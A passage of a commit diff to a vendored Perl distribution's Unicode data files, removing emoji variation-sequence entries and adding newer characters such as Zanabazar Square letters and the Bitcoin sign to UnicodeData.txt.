-2716 FE0E; text style;  # HEAVY MULTIPLICATION X
-2716 FE0F; emoji style; # HEAVY MULTIPLICATION X
-271D FE0E; text style;  # LATIN CROSS
-271D FE0F; emoji style; # LATIN CROSS
-2721 FE0E; text style;  # STAR OF DAVID
-2721 FE0F; emoji style; # STAR OF DAVID
-2733 FE0E; text style;  # EIGHT SPOKED ASTERISK
-2733 FE0F; emoji style; # EIGHT SPOKED ASTERISK
-2734 FE0E; text style;  # EIGHT POINTED BLACK STAR
-2734 FE0F; emoji style; # EIGHT POINTED BLACK STAR
-2744 FE0E; text style;  # SNOWFLAKE
-2744 FE0F; emoji style; # SNOWFLAKE
-2747 FE0E; text style;  # SPARKLE
-2747 FE0F; emoji style; # SPARKLE
-2757 FE0E; text style;  # HEAVY EXCLAMATION MARK SYMBOL
-2757 FE0F; emoji style; # HEAVY EXCLAMATION MARK SYMBOL
-2763 FE0E; text style;  # HEAVY HEART EXCLAMATION MARK ORNAMENT
-2763 FE0F; emoji style; # HEAVY HEART EXCLAMATION MARK ORNAMENT
-2764 FE0E; text style;  # HEAVY BLACK HEART
-2764 FE0F; emoji style; # HEAVY BLACK HEART
-27A1 FE0E; text style;  # BLACK RIGHTWARDS ARROW
-27A1 FE0F; emoji style; # BLACK RIGHTWARDS ARROW
-2934 FE0E; text style;  # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
-2934 FE0F; emoji style; # ARROW POINTING RIGHTWARDS THEN CURVING UPWARDS
-2935 FE0E; text style;  # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
-2935 FE0F; emoji style; # ARROW POINTING RIGHTWARDS THEN CURVING DOWNWARDS
-2B05 FE0E; text style;  # LEFTWARDS BLACK ARROW
-2B05 FE0F; emoji style; # LEFTWARDS BLACK ARROW
-2B06 FE0E; text style;  # UPWARDS BLACK ARROW
-2B06 FE0F; emoji style; # UPWARDS BLACK ARROW
-2B07 FE0E; text style;  # DOWNWARDS BLACK ARROW
-2B07 FE0F; emoji style; # DOWNWARDS BLACK ARROW
-2B1B FE0E; text style;  # BLACK LARGE SQUARE
-2B1B FE0F; emoji style; # BLACK LARGE SQUARE
-2B1C FE0E; text style;  # WHITE LARGE SQUARE
-2B1C FE0F; emoji style; # WHITE LARGE SQUARE
-2B50 FE0E; text style;  # WHITE MEDIUM STAR
-2B50 FE0F; emoji style; # WHITE MEDIUM STAR
-2B55 FE0E; text style;  # HEAVY LARGE CIRCLE
-2B55 FE0F; emoji style; # HEAVY LARGE CIRCLE
-3030 FE0E; text style;  # WAVY DASH
-3030 FE0F; emoji style; # WAVY DASH
-303D FE0E; text style;  # PART ALTERNATION MARK
-303D FE0F; emoji style; # PART ALTERNATION MARK
-3297 FE0E; text style;  # CIRCLED IDEOGRAPH CONGRATULATION
-3297 FE0F; emoji style; # CIRCLED IDEOGRAPH CONGRATULATION
-3299 FE0E; text style;  # CIRCLED IDEOGRAPH SECRET
-3299 FE0F; emoji style; # CIRCLED IDEOGRAPH SECRET
-1F004 FE0E; text style;  # MAHJONG TILE RED DRAGON
-1F004 FE0F; emoji style; # MAHJONG TILE RED DRAGON
-1F170 FE0E; text style;  # NEGATIVE SQUARED LATIN CAPITAL LETTER A
-1F170 FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER A
-1F171 FE0E; text style;  # NEGATIVE SQUARED LATIN CAPITAL LETTER B
-1F171 FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER B
-1F17E FE0E; text style;  # NEGATIVE SQUARED LATIN CAPITAL LETTER O
-1F17E FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER O
-1F17F FE0E; text style;  # NEGATIVE SQUARED LATIN CAPITAL LETTER P
-1F17F FE0F; emoji style; # NEGATIVE SQUARED LATIN CAPITAL LETTER P
-1F202 FE0E; text style;  # SQUARED KATAKANA SA
-1F202 FE0F; emoji style; # SQUARED KATAKANA SA
-1F21A FE0E; text style;  # SQUARED CJK UNIFIED IDEOGRAPH-7121
-1F21A FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-7121
-1F22F FE0E; text style;  # SQUARED CJK UNIFIED IDEOGRAPH-6307
-1F22F FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-6307
-1F237 FE0E; text style;  # SQUARED CJK UNIFIED IDEOGRAPH-6708
-1F237 FE0F; emoji style; # SQUARED CJK UNIFIED IDEOGRAPH-6708
-1F321 FE0E; text style;  # THERMOMETER
-1F321 FE0F; emoji style; # THERMOMETER
-1F324 FE0E; text style;  # WHITE SUN WITH SMALL CLOUD
-1F324 FE0F; emoji style; # WHITE SUN WITH SMALL CLOUD
-1F325 FE0E; text style;  # WHITE SUN BEHIND CLOUD
-1F325 FE0F; emoji style; # WHITE SUN BEHIND CLOUD
-1F326 FE0E; text style;  # WHITE SUN BEHIND CLOUD WITH RAIN
-1F326 FE0F; emoji style; # WHITE SUN BEHIND CLOUD WITH RAIN
-1F327 FE0E; text style;  # CLOUD WITH RAIN
-1F327 FE0F; emoji style; # CLOUD WITH RAIN
-1F328 FE0E; text style;  # CLOUD WITH SNOW
-1F328 FE0F; emoji style; # CLOUD WITH SNOW
-1F329 FE0E; text style;  # CLOUD WITH LIGHTNING
-1F329 FE0F; emoji style; # CLOUD WITH LIGHTNING
-1F32A FE0E; text style;  # CLOUD WITH TORNADO
-1F32A FE0F; emoji style; # CLOUD WITH TORNADO
-1F32B FE0E; text style;  # FOG
-1F32B FE0F; emoji style; # FOG
-1F32C FE0E; text style;  # WIND BLOWING FACE
-1F32C FE0F; emoji style; # WIND BLOWING FACE
-1F336 FE0E; text style;  # HOT PEPPER
-1F336 FE0F; emoji style; # HOT PEPPER
-1F37D FE0E; text style;  # FORK AND KNIFE WITH PLATE
-1F37D FE0F; emoji style; # FORK AND KNIFE WITH PLATE
-1F396 FE0E; text style;  # MILITARY MEDAL
-1F396 FE0F; emoji style; # MILITARY MEDAL
-1F397 FE0E; text style;  # REMINDER RIBBON
-1F397 FE0F; emoji style; # REMINDER RIBBON
-1F399 FE0E; text style;  # STUDIO MICROPHONE
-1F399 FE0F; emoji style; # STUDIO MICROPHONE
-1F39A FE0E; text style;  # LEVEL SLIDER
-1F39A FE0F; emoji style; # LEVEL SLIDER
-1F39B FE0E; text style;  # CONTROL KNOBS
-1F39B FE0F; emoji style; # CONTROL KNOBS
-1F39E FE0E; text style;  # FILM FRAMES
-1F39E FE0F; emoji style; # FILM FRAMES
-1F39F FE0E; text style;  # ADMISSION TICKETS
-1F39F FE0F; emoji style; # ADMISSION TICKETS
-1F3CB FE0E; text style;  # WEIGHT LIFTER
-1F3CB FE0F; emoji style; # WEIGHT LIFTER
-1F3CC FE0E; text style;  # GOLFER
-1F3CC FE0F; emoji style; # GOLFER
-1F3CD FE0E; text style;  # RACING MOTORCYCLE
-1F3CD FE0F; emoji style; # RACING MOTORCYCLE
-1F3CE FE0E; text style;  # RACING CAR
-1F3CE FE0F; emoji style; # RACING CAR
-1F3D4 FE0E; text style;  # SNOW CAPPED MOUNTAIN
-1F3D4 FE0F; emoji style; # SNOW CAPPED MOUNTAIN
-1F3D5 FE0E; text style;  # CAMPING
-1F3D5 FE0F; emoji style; # CAMPING
-1F3D6 FE0E; text style;  # BEACH WITH UMBRELLA
-1F3D6 FE0F; emoji style; # BEACH WITH UMBRELLA
-1F3D7 FE0E; text style;  # BUILDING CONSTRUCTION
-1F3D7 FE0F; emoji style; # BUILDING CONSTRUCTION
-1F3D8 FE0E; text style;  # HOUSE BUILDINGS
-1F3D8 FE0F; emoji style; # HOUSE BUILDINGS
-1F3D9 FE0E; text style;  # CITYSCAPE
-1F3D9 FE0F; emoji style; # CITYSCAPE
-1F3DA FE0E; text style;  # DERELICT HOUSE BUILDING
-1F3DA FE0F; emoji style; # DERELICT HOUSE BUILDING
-1F3DB FE0E; text style;  # CLASSICAL BUILDING
-1F3DB FE0F; emoji style; # CLASSICAL BUILDING
-1F3DC FE0E; text style;  # DESERT
-1F3DC FE0F; emoji style; # DESERT
-1F3DD FE0E; text style;  # DESERT ISLAND
-1F3DD FE0F; emoji style; # DESERT ISLAND
-1F3DE FE0E; text style;  # NATIONAL PARK
-1F3DE FE0F; emoji style; # NATIONAL PARK
-1F3DF FE0E; text style;  # STADIUM
-1F3DF FE0F; emoji style; # STADIUM
-1F3F3 FE0E; text style;  # WAVING WHITE FLAG
-1F3F3 FE0F; emoji style; # WAVING WHITE FLAG
-1F3F5 FE0E; text style;  # ROSETTE
-1F3F5 FE0F; emoji style; # ROSETTE
-1F3F7 FE0E; text style;  # LABEL
-1F3F7 FE0F; emoji style; # LABEL
-1F43F FE0E; text style;  # CHIPMUNK
-1F43F FE0F; emoji style; # CHIPMUNK
-1F441 FE0E; text style;  # EYE
-1F441 FE0F; emoji style; # EYE
-1F4FD FE0E; text style;  # FILM PROJECTOR
-1F4FD FE0F; emoji style; # FILM PROJECTOR
-1F549 FE0E; text style;  # OM SYMBOL
-1F549 FE0F; emoji style; # OM SYMBOL
-1F54A FE0E; text style;  # DOVE OF PEACE
-1F54A FE0F; emoji style; # DOVE OF PEACE
-1F56F FE0E; text style;  # CANDLE
-1F56F FE0F; emoji style; # CANDLE
-1F570 FE0E; text style;  # MANTELPIECE CLOCK
-1F570 FE0F; emoji style; # MANTELPIECE CLOCK
-1F573 FE0E; text style;  # HOLE
-1F573 FE0F; emoji style; # HOLE
-1F574 FE0E; text style;  # MAN IN BUSINESS SUIT LEVITATING
-1F574 FE0F; emoji style; # MAN IN BUSINESS SUIT LEVITATING
-1F575 FE0E; text style;  # SLEUTH OR SPY
-1F575 FE0F; emoji style; # SLEUTH OR SPY
-1F576 FE0E; text style;  # DARK SUNGLASSES
-1F576 FE0F; emoji style; # DARK SUNGLASSES
-1F577 FE0E; text style;  # SPIDER
-1F577 FE0F; emoji style; # SPIDER
-1F578 FE0E; text style;  # SPIDER WEB
-1F578 FE0F; emoji style; # SPIDER WEB
-1F579 FE0E; text style;  # JOYSTICK
-1F579 FE0F; emoji style; # JOYSTICK
-1F587 FE0E; text style;  # LINKED PAPERCLIPS
-1F587 FE0F; emoji style; # LINKED PAPERCLIPS
-1F58A FE0E; text style;  # LOWER LEFT BALLPOINT PEN
-1F58A FE0F; emoji style; # LOWER LEFT BALLPOINT PEN
-1F58B FE0E; text style;  # LOWER LEFT FOUNTAIN PEN
-1F58B FE0F; emoji style; # LOWER LEFT FOUNTAIN PEN
-1F58C FE0E; text style;  # LOWER LEFT PAINTBRUSH
-1F58C FE0F; emoji style; # LOWER LEFT PAINTBRUSH
-1F58D FE0E; text style;  # LOWER LEFT CRAYON
-1F58D FE0F; emoji style; # LOWER LEFT CRAYON
-1F590 FE0E; text style;  # RAISED HAND WITH FINGERS SPLAYED
-1F590 FE0F; emoji style; # RAISED HAND WITH FINGERS SPLAYED
-1F5A5 FE0E; text style;  # DESKTOP COMPUTER
-1F5A5 FE0F; emoji style; # DESKTOP COMPUTER
-1F5A8 FE0E; text style;  # PRINTER
-1F5A8 FE0F; emoji style; # PRINTER
-1F5B1 FE0E; text style;  # THREE BUTTON MOUSE
-1F5B1 FE0F; emoji style; # THREE BUTTON MOUSE
-1F5B2 FE0E; text style;  # TRACKBALL
-1F5B2 FE0F; emoji style; # TRACKBALL
-1F5BC FE0E; text style;  # FRAME WITH PICTURE
-1F5BC FE0F; emoji style; # FRAME WITH PICTURE
-1F5C2 FE0E; text style;  # CARD INDEX DIVIDERS
-1F5C2 FE0F; emoji style; # CARD INDEX DIVIDERS
-1F5C3 FE0E; text style;  # CARD FILE BOX
-1F5C3 FE0F; emoji style; # CARD FILE BOX
-1F5C4 FE0E; text style;  # FILE CABINET
-1F5C4 FE0F; emoji style; # FILE CABINET
-1F5D1 FE0E; text style;  # WASTEBASKET
-1F5D1 FE0F; emoji style; # WASTEBASKET
-1F5D2 FE0E; text style;  # SPIRAL NOTE PAD
-1F5D2 FE0F; emoji style; # SPIRAL NOTE PAD
-1F5D3 FE0E; text style;  # SPIRAL CALENDAR PAD
-1F5D3 FE0F; emoji style; # SPIRAL CALENDAR PAD
-1F5DC FE0E; text style;  # COMPRESSION
-1F5DC FE0F; emoji style; # COMPRESSION
-1F5DD FE0E; text style;  # OLD KEY
-1F5DD FE0F; emoji style; # OLD KEY
-1F5DE FE0E; text style;  # ROLLED-UP NEWSPAPER
-1F5DE FE0F; emoji style; # ROLLED-UP NEWSPAPER
-1F5E1 FE0E; text style;  # DAGGER KNIFE
-1F5E1 FE0F; emoji style; # DAGGER KNIFE
-1F5E3 FE0E; text style;  # SPEAKING HEAD IN SILHOUETTE
-1F5E3 FE0F; emoji style; # SPEAKING HEAD IN SILHOUETTE
-1F5E8 FE0E; text style;  # LEFT SPEECH BUBBLE
-1F5E8 FE0F; emoji style; # LEFT SPEECH BUBBLE
-1F5EF FE0E; text style;  # RIGHT ANGER BUBBLE
-1F5EF FE0F; emoji style; # RIGHT ANGER BUBBLE
-1F5F3 FE0E; text style;  # BALLOT BOX WITH BALLOT
-1F5F3 FE0F; emoji style; # BALLOT BOX WITH BALLOT
-1F5FA FE0E; text style;  # WORLD MAP
-1F5FA FE0F; emoji style; # WORLD MAP
-1F6CB FE0E; text style;  # COUCH AND LAMP
-1F6CB FE0F; emoji style; # COUCH AND LAMP
-1F6CD FE0E; text style;  # SHOPPING BAGS
-1F6CD FE0F; emoji style; # SHOPPING BAGS
-1F6CE FE0E; text style;  # BELLHOP BELL
-1F6CE FE0F; emoji style; # BELLHOP BELL
-1F6CF FE0E; text style;  # BED
-1F6CF FE0F; emoji style; # BED
-1F6E0 FE0E; text style;  # HAMMER AND WRENCH
-1F6E0 FE0F; emoji style; # HAMMER AND WRENCH
-1F6E1 FE0E; text style;  # SHIELD
-1F6E1 FE0F; emoji style; # SHIELD
-1F6E2 FE0E; text style;  # OIL DRUM
-1F6E2 FE0F; emoji style; # OIL DRUM
-1F6E3 FE0E; text style;  # MOTORWAY
-1F6E3 FE0F; emoji style; # MOTORWAY
-1F6E4 FE0E; text style;  # RAILWAY TRACK
-1F6E4 FE0F; emoji style; # RAILWAY TRACK
-1F6E5 FE0E; text style;  # MOTOR BOAT
-1F6E5 FE0F; emoji style; # MOTOR BOAT
-1F6E9 FE0E; text style;  # SMALL AIRPLANE
-1F6E9 FE0F; emoji style; # SMALL AIRPLANE
-1F6F0 FE0E; text style;  # SATELLITE
-1F6F0 FE0F; emoji style; # SATELLITE
-1F6F3 FE0E; text style;  # PASSENGER SHIP
-1F6F3 FE0F; emoji style; # PASSENGER SHIP
-
 # CJK compatibility ideographs
 
 # Note: In the entries for CJK compatibility ideographs, field 1

Modified: vendor/perl/dist/lib/unicore/UnicodeData.txt
===================================================================
--- vendor/perl/dist/lib/unicore/UnicodeData.txt	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/unicore/UnicodeData.txt	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2072,6 +2072,17 @@
 085A;MANDAIC VOCALIZATION MARK;Mn;220;NSM;;;;;N;;;;;
 085B;MANDAIC GEMINATION MARK;Mn;220;NSM;;;;;N;;;;;
 085E;MANDAIC PUNCTUATION;Po;0;R;;;;;N;;;;;
+0860;SYRIAC LETTER MALAYALAM NGA;Lo;0;AL;;;;;N;;;;;
+0861;SYRIAC LETTER MALAYALAM JA;Lo;0;AL;;;;;N;;;;;
+0862;SYRIAC LETTER MALAYALAM NYA;Lo;0;AL;;;;;N;;;;;
+0863;SYRIAC LETTER MALAYALAM TTA;Lo;0;AL;;;;;N;;;;;
+0864;SYRIAC LETTER MALAYALAM NNA;Lo;0;AL;;;;;N;;;;;
+0865;SYRIAC LETTER MALAYALAM NNNA;Lo;0;AL;;;;;N;;;;;
+0866;SYRIAC LETTER MALAYALAM BHA;Lo;0;AL;;;;;N;;;;;
+0867;SYRIAC LETTER MALAYALAM RA;Lo;0;AL;;;;;N;;;;;
+0868;SYRIAC LETTER MALAYALAM LLA;Lo;0;AL;;;;;N;;;;;
+0869;SYRIAC LETTER MALAYALAM LLLA;Lo;0;AL;;;;;N;;;;;
+086A;SYRIAC LETTER MALAYALAM SSA;Lo;0;AL;;;;;N;;;;;
 08A0;ARABIC LETTER BEH WITH SMALL V BELOW;Lo;0;AL;;;;;N;;;;;
 08A1;ARABIC LETTER BEH WITH HAMZA ABOVE;Lo;0;AL;;;;;N;;;;;
 08A2;ARABIC LETTER JEEM WITH TWO DOTS ABOVE;Lo;0;AL;;;;;N;;;;;
@@ -2366,6 +2377,8 @@
 09F9;BENGALI CURRENCY DENOMINATOR SIXTEEN;No;0;L;;;;16;N;;;;;
 09FA;BENGALI ISSHAR;So;0;L;;;;;N;;;;;
 09FB;BENGALI GANDA MARK;Sc;0;ET;;;;;N;;;;;
+09FC;BENGALI LETTER VEDIC ANUSVARA;Lo;0;L;;;;;N;;;;;
+09FD;BENGALI ABBREVIATION SIGN;Po;0;L;;;;;N;;;;;
 0A01;GURMUKHI SIGN ADAK BINDI;Mn;0;NSM;;;;;N;;;;;
 0A02;GURMUKHI SIGN BINDI;Mn;0;NSM;;;;;N;;;;;
 0A03;GURMUKHI SIGN VISARGA;Mc;0;L;;;;;N;;;;;
@@ -2530,6 +2543,12 @@
 0AF0;GUJARATI ABBREVIATION SIGN;Po;0;L;;;;;N;;;;;
 0AF1;GUJARATI RUPEE SIGN;Sc;0;ET;;;;;N;;;;;
 0AF9;GUJARATI LETTER ZHA;Lo;0;L;;;;;N;;;;;
+0AFA;GUJARATI SIGN SUKUN;Mn;0;NSM;;;;;N;;;;;
+0AFB;GUJARATI SIGN SHADDA;Mn;0;NSM;;;;;N;;;;;
+0AFC;GUJARATI SIGN MADDAH;Mn;0;NSM;;;;;N;;;;;
+0AFD;GUJARATI SIGN THREE-DOT NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;;
+0AFE;GUJARATI SIGN CIRCLE NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;;
+0AFF;GUJARATI SIGN TWO-CIRCLE NUKTA ABOVE;Mn;0;NSM;;;;;N;;;;;
 0B01;ORIYA SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;;
 0B02;ORIYA SIGN ANUSVARA;Mc;0;L;;;;;N;;;;;
 0B03;ORIYA SIGN VISARGA;Mc;0;L;;;;;N;;;;;
@@ -2876,6 +2895,7 @@
 0CEF;KANNADA DIGIT NINE;Nd;0;L;;9;9;9;N;;;;;
 0CF1;KANNADA SIGN JIHVAMULIYA;Lo;0;L;;;;;N;;;;;
 0CF2;KANNADA SIGN UPADHMANIYA;Lo;0;L;;;;;N;;;;;
+0D00;MALAYALAM SIGN COMBINING ANUSVARA ABOVE;Mn;0;NSM;;;;;N;;;;;
 0D01;MALAYALAM SIGN CANDRABINDU;Mn;0;NSM;;;;;N;;;;;
 0D02;MALAYALAM SIGN ANUSVARA;Mc;0;L;;;;;N;;;;;
 0D03;MALAYALAM SIGN VISARGA;Mc;0;L;;;;;N;;;;;
@@ -2931,6 +2951,8 @@
 0D38;MALAYALAM LETTER SA;Lo;0;L;;;;;N;;;;;
 0D39;MALAYALAM LETTER HA;Lo;0;L;;;;;N;;;;;
 0D3A;MALAYALAM LETTER TTTA;Lo;0;L;;;;;N;;;;;
+0D3B;MALAYALAM SIGN VERTICAL BAR VIRAMA;Mn;9;NSM;;;;;N;;;;;
+0D3C;MALAYALAM SIGN CIRCULAR VIRAMA;Mn;9;NSM;;;;;N;;;;;
 0D3D;MALAYALAM SIGN AVAGRAHA;Lo;0;L;;;;;N;;;;;
 0D3E;MALAYALAM VOWEL SIGN AA;Mc;0;L;;;;;N;;;;;
 0D3F;MALAYALAM VOWEL SIGN I;Mc;0;L;;;;;N;;;;;
@@ -6413,6 +6435,7 @@
 1CF4;VEDIC TONE CANDRA ABOVE;Mn;230;NSM;;;;;N;;;;;
 1CF5;VEDIC SIGN JIHVAMULIYA;Lo;0;L;;;;;N;;;;;
 1CF6;VEDIC SIGN UPADHMANIYA;Lo;0;L;;;;;N;;;;;
+1CF7;VEDIC SIGN ATIKRAMA;Mc;0;L;;;;;N;;;;;
 1CF8;VEDIC TONE RING ABOVE;Mn;230;NSM;;;;;N;;;;;
 1CF9;VEDIC TONE DOUBLE RING ABOVE;Mn;230;NSM;;;;;N;;;;;
 1D00;LATIN LETTER SMALL CAPITAL A;Ll;0;L;;;;;N;;;;;
@@ -6661,6 +6684,10 @@
 1DF3;COMBINING LATIN SMALL LETTER O WITH DIAERESIS;Mn;230;NSM;;;;;N;;;;;
 1DF4;COMBINING LATIN SMALL LETTER U WITH DIAERESIS;Mn;230;NSM;;;;;N;;;;;
 1DF5;COMBINING UP TACK ABOVE;Mn;230;NSM;;;;;N;;;;;
+1DF6;COMBINING KAVYKA ABOVE RIGHT;Mn;232;NSM;;;;;N;;;;;
+1DF7;COMBINING KAVYKA ABOVE LEFT;Mn;228;NSM;;;;;N;;;;;
+1DF8;COMBINING DOT ABOVE LEFT;Mn;228;NSM;;;;;N;;;;;
+1DF9;COMBINING WIDE INVERTED BRIDGE BELOW;Mn;220;NSM;;;;;N;;;;;
 1DFB;COMBINING DELETION MARK;Mn;230;NSM;;;;;N;;;;;
 1DFC;COMBINING DOUBLE INVERTED BREVE BELOW;Mn;233;NSM;;;;;N;;;;;
 1DFD;COMBINING ALMOST EQUAL TO BELOW;Mn;220;NSM;;;;;N;;;;;
@@ -7339,6 +7366,7 @@
 20BC;MANAT SIGN;Sc;0;ET;;;;;N;;;;;
 20BD;RUBLE SIGN;Sc;0;ET;;;;;N;;;;;
 20BE;LARI SIGN;Sc;0;ET;;;;;N;;;;;
+20BF;BITCOIN SIGN;Sc;0;ET;;;;;N;;;;;
 20D0;COMBINING LEFT HARPOON ABOVE;Mn;230;NSM;;;;;N;NON-SPACING LEFT HARPOON ABOVE;;;;
 20D1;COMBINING RIGHT HARPOON ABOVE;Mn;230;NSM;;;;;N;NON-SPACING RIGHT HARPOON ABOVE;;;;
 20D2;COMBINING LONG VERTICAL LINE OVERLAY;Mn;1;NSM;;;;;N;NON-SPACING LONG VERTICAL BAR OVERLAY;;;;
@@ -8135,6 +8163,7 @@
 23FC;POWER ON-OFF SYMBOL;So;0;ON;;;;;N;;;;;
 23FD;POWER ON SYMBOL;So;0;ON;;;;;N;;;;;
 23FE;POWER SLEEP SYMBOL;So;0;ON;;;;;N;;;;;
+23FF;OBSERVER EYE SYMBOL;So;0;ON;;;;;N;;;;;
 2400;SYMBOL FOR NULL;So;0;ON;;;;;N;GRAPHIC FOR NULL;;;;
 2401;SYMBOL FOR START OF HEADING;So;0;ON;;;;;N;GRAPHIC FOR START OF HEADING;;;;
 2402;SYMBOL FOR START OF TEXT;So;0;ON;;;;;N;GRAPHIC FOR START OF TEXT;;;;
@@ -10083,6 +10112,7 @@
 2BCF;ROTATED WHITE FOUR POINTED CUSP;So;0;ON;;;;;N;;;;;
 2BD0;SQUARE POSITION INDICATOR;So;0;ON;;;;;N;;;;;
 2BD1;UNCERTAINTY SIGN;So;0;ON;;;;;N;;;;;
+2BD2;GROUP MARK;So;0;ON;;;;;N;;;;;
 2BEC;LEFTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;;
 2BED;UPWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;;
 2BEE;RIGHTWARDS TWO-HEADED ARROW WITH TRIANGLE ARROWHEADS;So;0;ON;;;;;N;;;;;
@@ -10615,6 +10645,11 @@
 2E42;DOUBLE LOW-REVERSED-9 QUOTATION MARK;Ps;0;ON;;;;;N;;;;;
 2E43;DASH WITH LEFT UPTURN;Po;0;ON;;;;;N;;;;;
 2E44;DOUBLE SUSPENSION MARK;Po;0;ON;;;;;N;;;;;
+2E45;INVERTED LOW KAVYKA;Po;0;ON;;;;;N;;;;;
+2E46;INVERTED LOW KAVYKA WITH KAVYKA ABOVE;Po;0;ON;;;;;N;;;;;
+2E47;LOW KAVYKA;Po;0;ON;;;;;N;;;;;
+2E48;LOW KAVYKA WITH DOT;Po;0;ON;;;;;N;;;;;
+2E49;DOUBLE STACKED COMMA;Po;0;ON;;;;;N;;;;;
 2E80;CJK RADICAL REPEAT;So;0;ON;;;;;N;;;;;
 2E81;CJK RADICAL CLIFF;So;0;ON;;;;;N;;;;;
 2E82;CJK RADICAL SECOND ONE;So;0;ON;;;;;N;;;;;
@@ -11250,6 +11285,7 @@
 312B;BOPOMOFO LETTER NG;Lo;0;L;;;;;N;;;;;
 312C;BOPOMOFO LETTER GN;Lo;0;L;;;;;N;;;;;
 312D;BOPOMOFO LETTER IH;Lo;0;L;;;;;N;;;;;
+312E;BOPOMOFO LETTER O WITH DOT ABOVE;Lo;0;L;;;;;N;;;;;
 3131;HANGUL LETTER KIYEOK;Lo;0;L;<compat> 1100;;;;N;HANGUL LETTER GIYEOG;;;;
 3132;HANGUL LETTER SSANGKIYEOK;Lo;0;L;<compat> 1101;;;;N;HANGUL LETTER SSANG GIYEOG;;;;
 3133;HANGUL LETTER KIYEOK-SIOS;Lo;0;L;<compat> 11AA;;;;N;HANGUL LETTER GIYEOG SIOS;;;;
@@ -12016,7 +12052,7 @@
 4DFE;HEXAGRAM FOR AFTER COMPLETION;So;0;ON;;;;;N;;;;;
 4DFF;HEXAGRAM FOR BEFORE COMPLETION;So;0;ON;;;;;N;;;;;
 4E00;<CJK Ideograph, First>;Lo;0;L;;;;;N;;;;;
-9FD5;<CJK Ideograph, Last>;Lo;0;L;;;;;N;;;;;
+9FEA;<CJK Ideograph, Last>;Lo;0;L;;;;;N;;;;;
 A000;YI SYLLABLE IT;Lo;0;L;;;;;N;;;;;
 A001;YI SYLLABLE IX;Lo;0;L;;;;;N;;;;;
 A002;YI SYLLABLE I;Lo;0;L;;;;;N;;;;;
@@ -17093,6 +17129,9 @@
 10321;OLD ITALIC NUMERAL FIVE;No;0;L;;;;5;N;;;;;
 10322;OLD ITALIC NUMERAL TEN;No;0;L;;;;10;N;;;;;
 10323;OLD ITALIC NUMERAL FIFTY;No;0;L;;;;50;N;;;;;
+1032D;OLD ITALIC LETTER YE;Lo;0;L;;;;;N;;;;;
+1032E;OLD ITALIC LETTER NORTHERN TSE;Lo;0;L;;;;;N;;;;;
+1032F;OLD ITALIC LETTER SOUTHERN TSE;Lo;0;L;;;;;N;;;;;
 10330;GOTHIC LETTER AHSA;Lo;0;L;;;;;N;;;;;
 10331;GOTHIC LETTER BAIRKAN;Lo;0;L;;;;;N;;;;;
 10332;GOTHIC LETTER GIBA;Lo;0;L;;;;;N;;;;;
@@ -20068,6 +20107,158 @@
 118F1;WARANG CITI NUMBER EIGHTY;No;0;L;;;;80;N;;;;;
 118F2;WARANG CITI NUMBER NINETY;No;0;L;;;;90;N;;;;;
 118FF;WARANG CITI OM;Lo;0;L;;;;;N;;;;;
+11A00;ZANABAZAR SQUARE LETTER A;Lo;0;L;;;;;N;;;;;
+11A01;ZANABAZAR SQUARE VOWEL SIGN I;Mn;0;NSM;;;;;N;;;;;
+11A02;ZANABAZAR SQUARE VOWEL SIGN UE;Mn;0;NSM;;;;;N;;;;;
+11A03;ZANABAZAR SQUARE VOWEL SIGN U;Mn;0;NSM;;;;;N;;;;;
+11A04;ZANABAZAR SQUARE VOWEL SIGN E;Mn;0;NSM;;;;;N;;;;;
+11A05;ZANABAZAR SQUARE VOWEL SIGN OE;Mn;0;NSM;;;;;N;;;;;
+11A06;ZANABAZAR SQUARE VOWEL SIGN O;Mn;0;NSM;;;;;N;;;;;
+11A07;ZANABAZAR SQUARE VOWEL SIGN AI;Mc;0;L;;;;;N;;;;;
+11A08;ZANABAZAR SQUARE VOWEL SIGN AU;Mc;0;L;;;;;N;;;;;
+11A09;ZANABAZAR SQUARE VOWEL SIGN REVERSED I;Mn;0;NSM;;;;;N;;;;;
+11A0A;ZANABAZAR SQUARE VOWEL LENGTH MARK;Mn;0;NSM;;;;;N;;;;;
+11A0B;ZANABAZAR SQUARE LETTER KA;Lo;0;L;;;;;N;;;;;
+11A0C;ZANABAZAR SQUARE LETTER KHA;Lo;0;L;;;;;N;;;;;
+11A0D;ZANABAZAR SQUARE LETTER GA;Lo;0;L;;;;;N;;;;;
+11A0E;ZANABAZAR SQUARE LETTER GHA;Lo;0;L;;;;;N;;;;;
+11A0F;ZANABAZAR SQUARE LETTER NGA;Lo;0;L;;;;;N;;;;;
+11A10;ZANABAZAR SQUARE LETTER CA;Lo;0;L;;;;;N;;;;;
+11A11;ZANABAZAR SQUARE LETTER CHA;Lo;0;L;;;;;N;;;;;
+11A12;ZANABAZAR SQUARE LETTER JA;Lo;0;L;;;;;N;;;;;
+11A13;ZANABAZAR SQUARE LETTER NYA;Lo;0;L;;;;;N;;;;;
+11A14;ZANABAZAR SQUARE LETTER TTA;Lo;0;L;;;;;N;;;;;
+11A15;ZANABAZAR SQUARE LETTER TTHA;Lo;0;L;;;;;N;;;;;
+11A16;ZANABAZAR SQUARE LETTER DDA;Lo;0;L;;;;;N;;;;;
+11A17;ZANABAZAR SQUARE LETTER DDHA;Lo;0;L;;;;;N;;;;;
+11A18;ZANABAZAR SQUARE LETTER NNA;Lo;0;L;;;;;N;;;;;
+11A19;ZANABAZAR SQUARE LETTER TA;Lo;0;L;;;;;N;;;;;
+11A1A;ZANABAZAR SQUARE LETTER THA;Lo;0;L;;;;;N;;;;;
+11A1B;ZANABAZAR SQUARE LETTER DA;Lo;0;L;;;;;N;;;;;
+11A1C;ZANABAZAR SQUARE LETTER DHA;Lo;0;L;;;;;N;;;;;
+11A1D;ZANABAZAR SQUARE LETTER NA;Lo;0;L;;;;;N;;;;;
